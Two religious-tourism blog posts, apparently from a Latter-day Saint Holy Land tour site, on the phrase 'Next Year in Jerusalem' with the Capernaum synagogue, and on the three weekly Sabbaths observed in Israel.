In the phrase, “Next Year in Jerusalem,” Jerusalem indicates a future city–and a City-Temple, rebuilt as the Messiah arrives. Most Jews express this messianic longing at the end of the Passover seder meal, as well as at the end of each Sabbath, adding the words hoping that the Messiah should come “speedily in our day.”

The sadness of the destruction of Jerusalem in the year 70 is shown in the artistic renditions of the “Magen David” (Star of David) on synagogues that have noteworthy exceptions. There are two of these at Capernaum. One of them is straight up; the other (like most of these symbols everywhere else), are at a slight right slant. The menorah (seven-branched candelabra) is another example and the fact that the symbols are slanted denotes the destruction of the temple and Jerusalem. The ones at Capernaum and a few others that are straight seem to indicate that they were carved while the temple was still standing. Incidentally, all synagogues face toward Jerusalem.

Synagogue At Capernaum

Mormon Travel Capernaum Israel
Mormon Travel To Capernaum

At Capernaum, there are two doorways in and out of the synagogue. After the temple was destroyed, all synagogue entrances (coming from Jerusalem) were closed and a back door was opened. The symbolism may mean that we are now coming from the Diaspora into the place of worship and must return to the Diaspora. Jews’ synagogue prayers used to end with the hopeful words, “Next year in Jerusalem.” Now that Jerusalem is restored, the prayers read, “Next year in Jerusalem – rebuilt.” The Capernaum synagogue has both a pre- and post-temple destruction entrances.

One can consider that the words, “next year” brings a sense of being at the beginning, or on the way, to Jerusalem, as in a heavenly quest for betterment, a messianic hope.

Remember your dream of walking in the footsteps of the Savior?

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]]> https://www.israelrevealed.com/passover-meal-and-sabbath-ends-with-next-year-in-jerusalem/feed/ 0 Three Sabbaths Every Week in Israel? https://www.israelrevealed.com/three-sabbaths-every-week-in-israel/ https://www.israelrevealed.com/three-sabbaths-every-week-in-israel/#respond Mon, 30 Jan 2017 21:34:49 +0000 https://www.israelrevealed.com/?p=2949

Zion Gate Jerusalem, Israel Tours
Zion Gate: Jerusalem, Israel

It’s true! In Israel, you’ll find Moslems worshiping on Friday, Jews on Saturday and Christians on Sunday. Someone said, “How convenient! You can choose which Sabbath you’d like to break!” In December 1972, leaders of the Church of Jesus Christ of Latter-day Saints wrote a letter to Mormon leaders in Jerusalem, approving Saturday Sabbath observance in Israel, (subsequently including Friday observance, in Islamic countries).

I remember one venerable member of the Quorum of the Twelve having ministered to the Amman, Jordan Branch members on a Friday, crossed the Allenby Bridge into Israel that afternoon, and worshiped with the Jerusalem, Israel Branch on Saturday, then, left for Nicosia, Cyprus to share a devotional Sunday with the Saints there. Later, on his next anticipated visit to Israel, I was thinking, should I ask, “Remember those three Sabbaths in a row, did you take the next two off?” I didn’t ask!

You’ll find Moslems sharing a tradition that Adam was created on a Friday. Some explain; Islam is one of three Abrahamic religions. Jews first, Christians next, and Islam the third. So, they say, in the resurrection (they believe in an after-life,) Moslems will be the first to enter Paradise, Christians next, and Jews last!

The Jews have three explanations of Sabbath:

  1. Remember the Creation. “It is a sign between me and the children of Israel for ever: for in six days the LORD made heaven and earth, and on the seventh day he rested . . .” (Exodus 31:13-17)
  2. Remember Deliverance from Egypt. “And remember that thou wast a servant in the land of Egypt, and that the LORD thy God brought thee out thence through a mighty hand . . . therefore the LORD thy God commanded thee to keep the Sabbath day.” (Deuteronomy 5:14-15)
  3. Anticipate the Atonement. “So important is Yom Kippur (Day of Atonement) . . . calling it the “Sabbath of Sabbaths.” (Encyclopedia Judaica Jr.)

The Saviors Atonement
Jesus Christ, The Saviors Atonement

The Saviors Atonement:

The Jews commemorate the Sabbath with two blessings; first, with taking a sip of wine (or juice, or water), second, partaking of broken bread. The prayers include a remembrance of the past, with an anticipated future, even greater, deliverance, than from Egypt.

In this sense, it is a chiasmas, a reversal; for the Jews, ‘wine and bread’ in anticipation, and Christians, ‘bread and wine,’ in remembrance. The center point is the Savior’s atonement, which began in Gethsemane with bleeding from every pore, (symbolized by wine) and then followed by giving his body, (symbolized by broken bread).

The LDS sacramental prayers state, “. . . That they may do it in remembrance . . .” (Doctrine and Covenants 20:79)

To those who truly believe in the Messiah, the Sabbath day commemorates the greatest deliverance eternity will ever know. That memory could be a ‘Sabbath part’ of every day.

Remember your dream of being in the Holy Land?

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